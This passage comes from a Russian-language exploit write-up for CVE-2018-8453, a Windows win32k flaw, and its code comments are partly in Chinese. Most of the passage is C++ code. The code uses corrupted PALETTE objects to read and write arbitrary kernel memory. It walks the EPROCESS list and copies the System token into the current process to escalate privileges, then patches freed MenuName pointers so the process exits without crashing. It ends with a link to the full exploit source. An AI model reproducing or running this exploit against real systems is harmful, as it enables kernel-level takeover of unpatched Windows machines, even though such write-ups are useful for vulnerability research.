DestroyAcceleratorTable(hAccel[i]);
hAccel[i] = NULL;
}
else break;
}
}
exit:
return org_fnDWORD(arg0);
}
Прежде чем активировать уязвимость, вы можете видеть, что cEntries первого объекта PALETTE из двух созданных объектов PALETTE размером 0x800 имеют исходный размер:
После срабатывания уязвимости, после выполнения двух операций -1, она расширяется до большого значения:
На этом этапе вы можете читать и записывать любой адрес, читая и записывая указатель pFirstColor соседнего объекта PALETTE через функцию за пределами границ, Соответствующий код выглядит следующим образом:
Код:
BOOL SetPaletteTarget(HPALETTE hManager, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress)
{
BOOL bRet = TRUE;
// 设置要读写的内存地址
if (!SetPaletteEntries(hManager, dwStart, dwEntries, (PPALETTEENTRY)&pTargetAddress))
{
bRet = FALSE;
ShowError("SetPaletteEntries", GetLastError());
goto exit;
}
exit:
return bRet;
}
ULONG64 ReadDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress)
{
ULONG64 ulData = 0;
if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress))
{
goto exit;
}
if (!GetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulData))
{
ShowError("GetPaletteEntries", GetLastError());
goto exit;
}
exit:
return ulData;
}
BOOL WriteDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress, ULONG64 ulValue)
{
BOOL bRet = TRUE;
if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress))
{
bRet = FALSE;
goto exit;
}
if (!SetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulValue))
{
bRet = FALSE;
ShowError("SetPaletteEntries", GetLastError());
goto exit;
}
exit:
return bRet;
}
5. Запуск результатов
Вы можете читать и записывать любой адрес, а также повышать права, изменяя Токен:
Код:
BOOL EnablePrivilege_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker)
{
BOOL bRet = TRUE;
DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY);
DWORD dwFirstColorOffset = 0x78;
DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4;
// 获取System进程的EPROCESS
ULONG64 ulSystemEprocess = GetSystemEprocessByPalette(hManager, hWorker, dwStart, dwEntries);
if (!ulSystemEprocess)
{
bRet = FALSE;
goto exit;
}
DWORD CONST dwPIDOffset = 0x2E0, dwLinksOffset = 0x2E8, dwTokenOffset = 0x358;
ULONG64 ulPID = GetCurrentProcessId(), ulCurPID = 0, ulCurEprocess = ulSystemEprocess;
// Get the current process EPROCESS
do {
ulCurEprocess = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwLinksOffset));
ulCurEprocess -= dwLinksOffset;
ulCurPID = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwPIDOffset));
} while (ulPID != ulCurPID);
ULONG64 ulToken = 0;
// Assign the token of the system process to the current process
ulToken = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulSystemEprocess + dwTokenOffset));
WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwTokenOffset), ulToken);
exit:
return bRet;
}
Когда уязвимость срабатывает, xxxSBTrackInit освобождает память, на которую указывает MenuName. Чтобы предотвратить ее повторное освобождение при завершении процесса и освобождении ресурса, что приводит к двойному освобождению, необходимо решить эту проблему, предварительно изменив адрес. сохраняется в g_ulMenuName как NULL. Соответствующий код для этой проблемы выглядит следующим образом:
Код:
BOOL ReapairData_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker)
{
BOOL bRet = TRUE;
ULONG64 ulValue = 0;
DWORD i = 0;
DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY);
DWORD dwFirstColorOffset = 0x78;
DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4;
for (i = 0; i < 0x400; i++)
{
if (g_ulMenuName_2018_8453[i])
{
if (!WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)g_ulMenuName_2018_8453[i], (ULONG64)ulValue))
{
printf("reapair wrong\n");
bRet = FALSE;
goto exit;
}
}
else break;
}
exit:
return bRet;
}
Полный код хранится по адресу: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2018-8453.cpp . Запуск программы может успешно повысить привилегии и выйти из программы без возникновения ошибки BSOD: